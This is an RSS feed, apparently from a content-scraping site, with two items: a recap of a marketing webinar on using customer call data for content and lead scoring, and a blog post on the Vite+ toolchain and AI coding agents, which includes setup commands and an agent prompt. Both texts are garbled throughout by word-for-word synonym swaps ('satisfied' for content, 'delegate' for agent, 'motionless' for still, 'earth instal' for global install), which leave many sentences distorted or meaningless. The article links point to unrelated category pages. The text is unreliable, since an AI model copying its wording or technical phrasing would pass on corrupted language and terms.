<?xml version="1.0" encoding="UTF-8" ?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0"> <channel> <title><![CDATA[MC Project]]></title> <description><![CDATA[Global digital products and freelance services. Focuses on development, production and distribution of programming scripts, application source code, plugins, themes and templates.]]></description> <image> <title><![CDATA[MC Project]]></title> <url>https://en.mycoding.id/favicon.ico</url> <link>https://en.mycoding.id/</link> </image> <category><![CDATA[Software Engineering, Website Development, Mobile Android App, Application Source Code, Programming Scripts]]></category> <link>https://en.mycoding.id/</link> <atom:link href="https://en.mycoding.id/rss.xml" rel="self" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/rss-videos.xml" rel="alternate" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/" rel="alternate" type="text/html"/> <pubDate>Tue, 20 Oct 2026 08:45:18 +0700</pubDate> <lastBuildDate>Tue, 20 Oct 2026 08:45:18 +0700</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <managingEditor>support@mycoding.id (Adi Gunawan)</managingEditor> <webMaster>support@mycoding.id (Adi Gunawan)</webMaster> <language>en_US</language> <copyright>MC Project</copyright> <generator>MC Project</generator> <item> <title><![CDATA[A New Place To Look: Where Your Next AI Citations & Clicks Come From]]></title> <description><![CDATA[A New Place To Look: Where Your Next AI Citations & Clicks Come From. CTM’s Lisa Salvatore and Brian Barranger display how to quarry client conversations for helpful content, qualified-lead criteria, conversion feedback, and product-d...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/a-new-place-to-look-where-your-next-ai-citations-clicks-come-from-73252</link> <content:encoded><![CDATA[<div class="sej-article-content gototop-pos "> <div id="regWatch" class="sej-bigmark-wrap sej-bigmark-wrap--form"> <div> <div class="sej-webinar-recap-form"> <div class="sej-spinner-outer"> <div class="form-spinner-overlay"> <div class="spinner"></div> </div> <p class="text-center dnone notice center-align"></p> <h2 class="sej-web-form-h">Watch On-Demand, Now</h2> <div class="form-group"> First Name (*) <div class="sej_error_message"></div> </div> <div class="form-group"> Last Name (*) <div class="sej_error_message"></div> </div> <div class="form-group"> Work Email (*) <div class="sej_error_message"></div> </div> <div class="form-group cont_COMPANY "> Company (*) <div> </div> </div> <div class="form-group cont_COMPANY-SIZE "> Company Size (*) <div> --- 1-9 10-25 26-100 101-250 251-499 500-999 1000+ </div> </div> <div class="form-group cont_JOB-TITLE "> Job Title (*) <div> --- Agency Account Coordinator/Executive Agency Manager/Director Agency Owner/Partner Analytics Manager/Professional Brand Manager/Director Brand Professional Content Coordinator Content Manager/Director Demand Gen/Lead Gen Professional Ecommerce Strategist IT Manager/Director IT Professional Marketing Director / CMO / VP Marketing Manager Marketing Professional Media Buyer Paid Search Manager/Director Paid Search Professional Paid Social Strategist SEO Director SEO Manager SEO Professional Sales Executive/Manager/Director Social Media Manager/Director Social Media Professional UX/Designer/Developer Web Developer Other </div> </div> <div class="form-group cont_INDUSTRY "> Industry (*) <div> --- Agency (Marketing &amp; Advertising) Automotive Construction Consumer Electronics Consumer Goods &amp; Services Education &amp; Training Entertainment Financial Services Health, Wellness, &amp; Fitness Hospital &amp; Healthcare Household Services Internet Software &amp; Services Legal Logistics &amp; Fulfillment Services Manufacturing Marketing Software Provider Media &amp; Publishing Professional Services Real Estate Restaurants Retail &amp; Ecommerce Technology Transportation Travel &amp; Hospitality Other </div> </div> <div class="form-group cont_COUNTRY hide-block"> Country <div> Afghanistan Albania Algeria American Samoa Andorra Angola Anguilla Antarctica Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bermuda Bhutan Bolivia, Plurinational State of Bonaire, Sint Eustatius and Saba Bosnia and Herzegovina Botswana Bouvet Island Brazil British Indian Ocean Territory Brunei Darussalam Bulgaria Burkina Faso Burundi Cambodia Cameroon Canada Cape Verde Cayman Islands Central African Republic Chad Chile China Christmas Island Cocos (Keeling) Islands Colombia Comoros Congo Congo, The Democratic Republic of the Cook Islands Costa Rica Croatia Cuba Curaçao Cyprus Czech Republic Côte d'Ivoire Denmark Djibouti Dominica Dominican Republic Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Ethiopia Falkland Islands (Malvinas) Faroe Islands Fiji Finland France French Guiana French Polynesia French Southern Territories Gabon Gambia Georgia Germany Ghana Gibraltar Greece Greenland Grenada Guadeloupe Guam Guatemala Guernsey Guinea Guinea-Bissau Guyana Haiti Heard Island and McDonald Islands Holy See (Vatican City State) Honduras Hong Kong Hungary Iceland India Indonesia Iran, Islamic Republic of Iraq Ireland Isle of Man Israel Italy Jamaica Japan Jersey Jordan Kazakhstan Kenya Kiribati Korea, Democratic People's Republic of Korea, Republic of Kuwait Kyrgyzstan Lao People's Democratic Republic Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg Macao Macedonia, Republic of Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Martinique Mauritania Mauritius Mayotte Mexico Micronesia, Federated States of Moldova, Republic of Monaco Mongolia Montenegro Montserrat Morocco Mozambique Myanmar Namibia Nauru Nepal Netherlands New Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk Island Northern Mariana Islands Norway Oman Pakistan Palau Palestinian Territory, Occupied Panama Papua New Guinea Paraguay Peru Philippines Pitcairn Poland Portugal Qatar Romania Russian Federation Rwanda Réunion Saint Barthélemy Saint Helena, Ascension and Tristan da Cunha Saint Kitts and Nevis Saint Lucia Saint Martin (French part) Saint Pierre and Miquelon Saint Vincent and the Grenadines Samoa San Marino Sao Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Sint Maarten (Dutch part) Slovakia Slovenia Solomon Islands Somalia South Africa South Georgia and the South Sandwich Islands South Sudan Spain Sri Lanka Sudan Suriname Svalbard and Jan Mayen Swaziland Sweden Switzerland Syrian Arab Republic Taiwan Tajikistan Tanzania, United Republic of Thailand Timor-Leste Togo Tokelau Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Turks and Caicos Islands Tuvalu Uganda Ukraine United Arab Emirates United Kingdom United States United States Minor Outlying Islands Uruguay Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam Virgin Islands, British Virgin Islands, U.S. Wallis and Futuna Western Sahara Yemen Zambia Zimbabwe Åland Islands </div> </div> <div class="form-group cont_CITY hide-block"> City <div> </div> </div> <div class="form-group cont_STATE hide-block"> State <div> </div> </div> <div class="form-group cont_HOW-IS-YOUR-TEAM-USING-CALL-OR-CONVERSATION-DATA-TODAY? "> How is your squad using call or conversation data today? (*) <div> --- We don’t grasp it at all. We track calls, but mostly for attribution or ad optimization. We actively analyze conversations (scoring, transcription, or AI insights) for satisfied inspiration. Not sure. </div> </div> <div class="form-group cont_ARE-YOU-EVALUATING-A-CALL-TRACKING-OR-CONVERSATION-INTELLIGENCE-SOLUTION-IN-THE-NEXT-SIX-MONTHS? "> Are you evaluating a call tracking or conversation intellect resolution in the next six months? (*) <div> --- Yes, actively evaluating. Yes, inside the next six months. No, but curious in learning. No. We already have one in place. </div> </div> <div class="form-group cont_I-WANT-TO-RECEIVE-THE-LATEST-SEARCH-NEWS-AND-UPDATES-FROM-SEJ.-SEND-ME-ACTIONABLE-INSIGHTS-FROM-INDUSTRY-LEADING-EXPERTS. "> I desire to obtain the latest hunt news and updates from SEJ. Send me actionable insights from industry foremost experts. <div> </div> </div> <div class="form-group cont_TOPIC-OF-INTERESTS hide-block"> Topic of Interests <div> </div> </div> <div class="form-group cont_REG_INT hide-block"> REG_INT <div> </div> </div> <div class="form-group cont_REG_FIRST hide-block"> REG_FIRST <div> </div> </div> <div class="form-group cont_REG_SOURCE hide-block"> REG_SOURCE <div> </div> </div> <div class="form-group cont_RESPONDED-TO-SURVEY hide-block"> Responded to Survey <div> </div> </div> <div class="form-group text-center"> <div id="html_captchat" data-captcha-vendor="turnstile" data-sitekey="0x4AAAAAAA8F91ihKb_-uZL8" data-recaptcha-sitekey="6Ld56U8UAAAAAAK7l1mIt-JmGrwom0a17KmgDZif"></div> <div class="text-center captcha_error error_message final_message dnone text-center clear"> Please complete the captcha challenge! </div> </div> <div class="text-center form-group webinar-reg-button"> </div> <div> </div> </div> </div> </div> </div> <div class="bigmarker-footer"> <div class="bigmarker-footer-in"> <small>By clicking the "Sign Up" button, I concur and obtain the <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank">Content Agreement</a> and <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank">Privacy Policy</a> of Alpha Brand Media. Please inspect your inbox for our <span class="green-color">confirmation email</span>.</small> </div> <div class="bigmarker-footer-in"> <small> Search Engine Journal uses the data you provision to communication you concerning our applicable satisfied and promotions. Search Engine Journal volition portion the data you provision alongside our partner, <em>CTM</em>, who volition use your data for akin purposes. You can unsubscribe from communications from Search Engine Journal at any time. </small> </div> </div> <div id="narrow-cont"><p>Your call reports can inform you which run made the phone ring. The conversation itself can disclose what the buyer needs, which questions your satisfied has not answered, and whether that call became a worthwhile opportunity.</p> <p>In <a href="https://en.mycoding.id/category/business" target="_blank">A New Place To Look: Where Your Next AI Citations &amp; Clicks Come From</a>, CTM’s Lisa Salvatore, Sr. Manager of Integrated Marketing, and Brian Barranger, Sr. Account Executive III, explained how to put those insights to activity throughout marketing, sales, and merchandise teams.</p> <p>Their starting item was not another dashboard. It was a shared definition of guide norm and a repeatable way to study from the conversations a endeavor is already having.</p> <h2>Define Lead Quality Before Counting Calls</h2> <p>Marketing can commemorate a rising guide figure during revenue struggles to discover suitable prospects. Salvatore described that disconnect as the MQL treadmill: without accord on quality, the two teams optimize toward distinct goals.</p> <p>Her recommended archetypal stage was to have the two teams assessment a delegate collection of calls. Look for the traits of a qualified conversation: a applicable need, a assistance the endeavor can provide, purchasing intent, or an project booked.</p> <p>Turn that accord into scoring criteria that can be applied consistently, manually or alongside automation. The mark is helpful whenever it informs a decision, specified as refining run targeting or coaching call handling, fairly than becoming another figure to report.</p> <h2>Turn Customer Questions Into Useful Search Content</h2> <p>Calls and transcripts grasp how customers depict a issue in their own words. Salvatore’s <a href="https://en.mycoding.id/category/business" target="_blank">conversation-to-content workflow</a> uses repeated questions and objections to guide a satisfied roadmap:</p> <ul> <li>Recurring questions can communicate FAQ pages and answers on applicable assistance pages.</li> <li>Common objections can disclose the need for difference satisfied or clearer trust-building explanations.</li> <li>Customer phrasing can assistance form headings, descriptions, and ad copy.</li> </ul> <p>The project is to answer those questions accurately, not merely copy phrases onto a page. Salvatore cautioned that matching client tongue can assistance discoverability but does not justify an AI recommendation. Credibility and brand acknowledgment motionless matter.</p> <div class="wp-caption aligncenter"> <div class="wp-video"><video class="wp-video-shortcode" id="video-592892-1" width="360" height="640" preload="metadata" controls="controls"><source type="video/mp4" src="https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/pair-customer-call-phrases-with-lead-quality-webinar.mp4?_=1"></source><a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="sponsored noopener">https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/pair-customer-call-phrases-with-lead-quality-webinar.mp4</a></video></div> <p class="wp-caption-text">Webinar clip: Pair client call phrases alongside guide norm to see which keywords create helpful opportunities.</p> </div> <p><a href="https://en.mycoding.id/category/business" target="_blank">See the complete on-demand clip at 11:54.</a></p> <p>The method additionally extends beyond phone calls. Chats, texts, and form submissions can provision client language. In the Q&amp;A, Salvatore advised looking for the differences in what group ask concerning your own pricing, services, and offering, fairly than assuming competitors’ FAQ pages should all appearance alike.</p> <h2>Connect Marketing Sources With Qualified Outcomes</h2> <p>Barranger illustrated the difference between an attribution tag and a helpful client understanding alongside a pest-control call. Knowing that person called concerning pest authority is small particular than knowing they needed assistance alongside ants in their galley and booked an appointment.</p> <p>That example connects three questions:</p> <ul> <li>Which promotion origin generated the call?</li> <li>Was the visitant a qualified chance for the business?</li> <li>What happened following the call was answered?</li> </ul> <p>Looking at those dimensions together can differentiate a high-volume run from one that produces helpful opportunities. It can additionally distinct a targeting issue from a missed chance in call handling.</p> <div class="wp-caption aligncenter"> <div class="wp-video"><video class="wp-video-shortcode" id="video-592892-2" width="360" height="640" preload="metadata" controls="controls"><source type="video/mp4" src="https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/qualified-calls-beat-higher-call-volume-webinar.mp4?_=2"></source><a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="sponsored noopener">https://cdn.searchenginejournal.com/wp-content/uploads/2026/10/qualified-calls-beat-higher-call-volume-webinar.mp4</a></video></div> <p class="wp-caption-text">Webinar clip: Compare campaigns by the qualified calls they produce, not call quantity alone.</p> </div> <p><a href="https://en.mycoding.id/category/business" target="_blank">See the complete on-demand clip at 22:37.</a></p> <p>In a distinct example, Barranger described analyzing 29 CTM lead-call summaries. A recurring theme was prospects’ difficulty connecting promotion funding alongside opportunities and revenue, not merely a petition for tracking numbers or recordings. He used that constricted set of conversations to exemplify how client needs can communicate positioning and revenue discussions.</p> <h2>Give Ad Platforms And AI Tools Better Inputs</h2> <p>Conversation scoring can assistance acknowledge eligible qualified outcomes to come back to promotion platforms through supported conversion workflows. Barranger’s item was to provision a additional helpful indication than treating all phone call as likewise valuable.</p> <p>He additionally emphasized validating the scoring criteria and evaluation before making important prosperity changes. More data is not automatically improved feedback.</p> <p>For satisfied creation, call insights can provision environment that a generic AI immediate lacks: the assistance a client needs, the exception they raised, or the inquiry they keep asking. A recurring involvement can rotate into matter for a landing leaf or a messaging test.</p> <blockquote><p>“And the AI helps us create and examine ideas faster. But the client conversations are what create those ideas really relevant.”</p></blockquote> <p>— Brian Barranger (<a href="https://en.mycoding.id/category/business" target="_blank">Watch The Webinar, 29:51</a>)</p> <p>Barranger followed that difference alongside a reminder to assessment and validate what gets published.</p> <h2>Route Demand Signals To The Teams That Can Act</h2> <p>Requests for an integration, a missing feature, or a assistance the endeavor does not recommendation can be misplaced whenever they remain alongside the individual who answered the phone.</p> <p>The presenters recommended tagging recurring requests and compiling them for the teams liable for product, services, and planning. Frequency can assistance differentiate a repeated client need from a memorable one-off conversation. It does not average all petition automatically belongs on the roadmap.</p> <p>Salvatore additionally suggested tracking applicable topics complete period and pairing them alongside their originating campaigns or channels. An addition in requests is a indication to examine and validate, not a logic to treat a small example as a market-wide forecast.</p> <h2>Handle AI-Agent Calls As A Different Signal</h2> <p>One spectators inquiry asked how individual calls difference alongside AI calls made to a business. Barranger stated the two can be tracked and analyzed, but they do not necessarily transport the identical intent.</p> <p>A person’s call may disclose purchasing urgency and objections. An AI delegate may be checking hours, pricing, or preparedness on someone’s behalf. He recommended tagging those interactions alternatively fairly than automatically treating all data petition as a straightforward revenue lead.</p> <p>Another Q&amp;A theme was ownership. Barranger recommended involving leaders from the applicable departments so that qualification criteria and the intended uses of the data indicate shared endeavor priorities.</p> <h2>Start With One Repeatable Workflow</h2> <p>The presenters’ example moves from capturing and attributing conversations to transcribing, scoring, analyzing, integrating the findings, and repeating the process. The <a href="https://en.mycoding.id/category/business" target="_blank">full webinar’s examples and Q&amp;A</a> display how those stages connect.</p> <p>You do not need to tackle all use case at once. Choose the area that would create the biggest difference for your team, afterward create the archetypal continue concrete:</p> <ul> <li><strong>Agree on qualification.</strong> Review a delegate example alongside revenue and marketing, and document the traits of a helpful opportunity.</li> <li><strong>Organize the conversations.</strong> Tag recurring needs, questions, objections, and requests alongside the call’s origin and outcome.</li> <li><strong>Choose one application.</strong> Use a recurring inquiry to enhance a page, test a additional particular message, or path a repeated petition to the applicable team.</li> <li><strong>Validate before scaling.</strong> Check the scoring and resulting content, and test conversion feedback before making important expend changes.</li> <li><strong>Repeat and compare.</strong> Review how topics and qualified outcomes alter complete time, and use the findings to refine the next circular of work.</li> </ul> <div class="sej-join-box"> <h2 class="text-center m-top-0">Join Us For Our Next Webinar!</h2> <h3>The Link Building Graveyard: What to Bury &amp; What Still Wins</h3> <p></p><p>Join Michael Johnson, CEO of Resolve, and depart alongside a keep-or-cut catalog you can obtain direct into 2027 planning.</p> <div class="text-center m-bot-20"> <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank">Reserve my Seat</a> </div> </div> </div> <div id="bcats" class="bottom-cat narrow-cont"> <span class="sej-category boxed cat-label">Category</span> <a href="https://en.mycoding.id/category/business" target="_blank">Content</a> <a href="https://en.mycoding.id/category/business" target="_blank">Webinar</a> <a href="https://en.mycoding.id/category/business" target="_blank">AI Search</a> </div> <div class="sej-above-author-widget"> <div class="sej-widget clearfix"> <div class="sej-badge-box"> <a href="https://en.mycoding.id/category/business" target="_blank" data-placement="Under Article" aria-label="Add Search Engine Journal as a preferred origin on Google"> <svg class="sej-gps-g" viewbox="0 0 48 48" aria-hidden="true" focusable="false"> <path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z"></path> <path fill="#4285F4" d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z"></path> <path fill="#FBBC05" d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z"></path> <path fill="#34A853" d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z"></path> </svg> <span class="sej-gps-text">Add <b>SEJ</b> as a preferred origin on Google</span> </a> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/a-new-place-to-look-where-your-next-ai-citations-clicks-come-from-73252</guid> <pubDate>Tue, 20 Oct 2026 08:45:18 +0700</pubDate> <author><![CDATA[support@mycoding.id (Heather Campbell)]]></author> </item> <item> <title><![CDATA[Vite+ an excellent toolchain for AI agent development]]></title> <description><![CDATA[Vite+ an excellent toolchain for AI agent development. Comments]]></description> <media:thumbnail url="https://janmichalek.com/_next/static/immutable/media/banner.1ff5qxfs8gm1e.webp"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/vite-an-excellent-toolchain-for-ai-agent-development-73249</link> <content:encoded><![CDATA[<p>One project had 47 betterment dependencies, seven config files, and a Markdown document explaining to the delegate how to run everything. At 2 a.m., I was debugging a difference between local checks and CI. The code was done; the tooling about it wasn't. After three weeks alongside Vite+ throughout four projects, I have a uncomplicated regulation for new Vite apps: put it in the archetypal immediate I provision the AI.</p> <h2>The abbreviated version</h2> <ul> <li>For a new Vite app, I have the delegate create the project alongside vp create, afterward verify its activity alongside vp check, vp test, and vp build.</li> <li>Speed is nice, but the bigger win for me is one apparent workflow for the agent, me, and CI.</li> <li>For an existing project, I treat vp migrate as the commencement of a migration. I motionless assessment the diff, tests, and build behavior.</li> </ul> <h2>A dilatory linter wasn't the problem</h2> <p>My commands were dispersed throughout ESLint, Prettier, TypeScript, a test runner, and package.json scripts. When I let an delegate into the project, its archetypal job was figuring out which command was the correct one. I wrote instructions to explain that. Now I had another document to maintain. Excellent period saver, right?</p> <p>It wasn't fair the figure of files. Once, my local setup and CI checked a generated document differently. The delegate saw one result; the pipeline saw another. Faster component generation doesn't fix that.</p> <p>Vite+ brings mundane tasks under vp: Vite for betterment and builds, Vitest for tests, Oxlint and Oxfmt for checks, tsdown for libraries, and Vite Task for tasks. You can keep their configuration in vite.config.ts. You motionless have package.json, tsconfig, and, depending on the project, example configuration. &ldquo;One document for entirely everything&rdquo; would appearance fine on a banner and bad in a genuine repo.</p> <p>For a React app, these are the commands I need following creating the project:</p> <figure><figcaption><span>Shell</span></figcaption><div><p><span>1</span><span>vp create vite -- </span><span>--template</span><span> react-ts </span><span>2</span><span></span><span>cd</span><span> project-name </span><span>3</span><span>vp </span><span>install</span><span> </span><span>4</span>vp dev <span>5</span>vp check <span>6</span><span>vp </span><span>test</span><span> </span><span>7</span>vp build</p></div></figure> <p>The commands complete assume vp is accessible globally. A earth instal is optional; you can additionally run Vite+ as a local dependency through a bundle manager. vp instal uses the bundle director selected for the project, so Vite+ doesn't substitute npm or pnpm.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer"><img alt="vp create terminal output during environment up a project" loading="lazy" width="1390" height="235" decoding="async" data-nimg="1" sizes=" 768px) 100vw, 704px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=640&amp;q=75 640w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=3840&amp;q=75 3840w" src="https://janmichalek.com/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-create.18kdug08_k747.webp&amp;w=3840&amp;q=75"></a><figcaption>Creating a project alongside vp create.</figcaption></figure> <h2>I don't let the delegate conjecture what &ldquo;done&rdquo; means</h2> <p>The Vite+ docs contain a immediate for AI assistants. It's a helpful starting point, but I modify it to the project. My goal is concrete: the delegate should use Vite+ to set up the app and not quietly forsake it following generating the archetypal page.</p> <figure><figcaption><span>Text</span></figcaption><div><p><span>Create a new React + TypeScript app on Vite using Vite+. </span>First peruse the current `vp create` guide and run `vp assistance create`. Inspect the mark directory and do not overwrite existing files. Choose the current stable Vite+ publish and one bundle manager. Create the project alongside `vp create` using the React + TypeScript template. Keep its sole lockfile. Do not add another linter or formatter unless there is a particular reason. After setup, run `vp install`, `vp check`, and applicable tests with `vp test`, and run a manufacturing `vp build`. Add a test for the behavior you implemented. If a inspect fails, fix the logic and rerun it. In your final report, catalog the Vite+ version, commands, and genuine results.</p></div></figure> <p>I don't necessitate a earth instal via curl in all project. For a one-off setup, item akin npx --package=vite-plus@1.3.0 vp create is enough; in an established project, the delegate can run the local CLI through the selected bundle manager. I don't ban create-vite, either: vp create vite uses that template. What matters is that the delegate follows the intended setup and keeps one accordant toolchain.</p> <p>When I gave an delegate liberated rein, I ended up alongside the two Prettier and Oxfmt, three lockfiles, and unreliable CI. Banning a second formatter and requiring one lockfile aren't imaginative preferences. They're two mistakes I don't desire to spotless up again.</p> <h2>One command gives me accelerated feedback</h2> <p>After changing code, I run vp check. It checks formatting and lint; it checks TypeScript whenever the two typeAware and typeCheck are enabled in the configuration. A new project created alongside vp create enables them by default. In an existing project, I verify that environment alternatively of assuming a green outcome additionally method the types are sound.</p> <p>Here's the difference from my old workflow:</p> <figure><figcaption><span>Shell</span></figcaption><div><p><span>1</span><span># Before: it depended on all project's scripts.</span><span> </span><span>2</span><span></span><span>npm</span><span> run format:check </span><span>3</span><span></span><span>npm</span><span> run lint </span><span>4</span><span></span><span>npm</span><span> run typecheck </span><span>5</span> <span>6</span><span></span><span># Now, in a project alongside the corresponding Vite+ configuration.</span><span> </span><span>7</span>vp check</p></div></figure> <p>vp inspect --fix can repair several findings automatically. After that, I peruse the diff and run the inspect again. A green lint outcome motionless doesn't inform me whether the app does the correct thing. I need vp test for behavior and vp build to verify the use builds.</p> <p>I additionally put that regulation in the repo's delegate instructions. When I come back to a project a week later, a new delegate won't recall yesterday's chat. The repo motionless knows its commands.</p> <figure><figcaption><span>Markdown</span></figcaption><div><p><span>1</span><span>##</span><span> Checks before completing a task</span><span> </span><span>2</span> <span>3</span><span></span><span>-</span><span> After changing code, run </span><span>`vp check`</span><span> and fix any errors. </span><span>4</span><span></span><span>-</span><span> After changing behavior, run the applicable tests alongside </span><span>`vp test`</span><span>. </span><span>5</span><span></span><span>-</span><span> Before handing off a Vite app, run </span><span>`vp build`</span><span>. </span><span>6</span><span></span><span>-</span><span> Review the diff following automatic fixes. </span><span>7</span><span></span><span>-</span><span> Report the genuine results; don't call a unsuccessful run complete.</span></p></div></figure> <p>Local instructions and Git hooks help, but they can be bypassed or disabled. I run the identical checks in CI. On an test anywhere I let an delegate activity unattended, individual assessment before merging was motionless my responsibility.</p> <h2>What I measured</h2> <p>In a monorepo, CI went from 4 minutes to 50 seconds following I changed the workflow. A pre-commit inspect dropped from 11 seconds to under 2. Those are results from my projects, not a benchmark comparing Vite+ alongside another toolchain under identical conditions. Part of the acquire comes from what runs and which records it checks; you won't automatically get those CI times alongside a distinct configuration.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer"><img alt=" traditional toolchain, 10.441 seconds" loading="lazy" width="762" height="98" decoding="async" data-nimg="1" sizes=" 768px) 100vw, 704px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=640&amp;q=75 640w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=3840&amp;q=75 3840w" src="https://janmichalek.com/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fclassic.1ga5hgr103r0d.webp&amp;w=3840&amp;q=75"></a><figcaption>GitHub Actions: the traditional toolchain benchmark took 10.441 s.</figcaption></figure> <figure><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer"><img alt=" Vite+, 1.356 seconds" loading="lazy" width="712" height="96" decoding="async" data-nimg="1" sizes=" 768px) 100vw, 704px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=640&amp;q=75 640w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=3840&amp;q=75 3840w" src="https://janmichalek.com/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fviteplus.2-ywjv-drgop4.webp&amp;w=3840&amp;q=75"></a><figcaption>GitHub Actions: the Vite+ benchmark took 1.356 s.</figcaption></figure> <p>For quick checks of changed files, I use vp staged and Git hooks managed alongside vp hooks. When distinct projects behave differently, vp toolchain shows me their energetic versions. vp toolchain --global shows the earth installation. That's additional helpful for debugging than my old method: &ldquo;I certainly updated it.&rdquo;</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer"><img alt="vp staged --verbose terminal output" loading="lazy" width="1400" height="215" decoding="async" data-nimg="1" sizes=" 768px) 100vw, 704px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fimmutable%2Fmedia%2Fvp-staged.2x_40n-pgog9_.webp&amp;w=640&amp;q=75 640w, 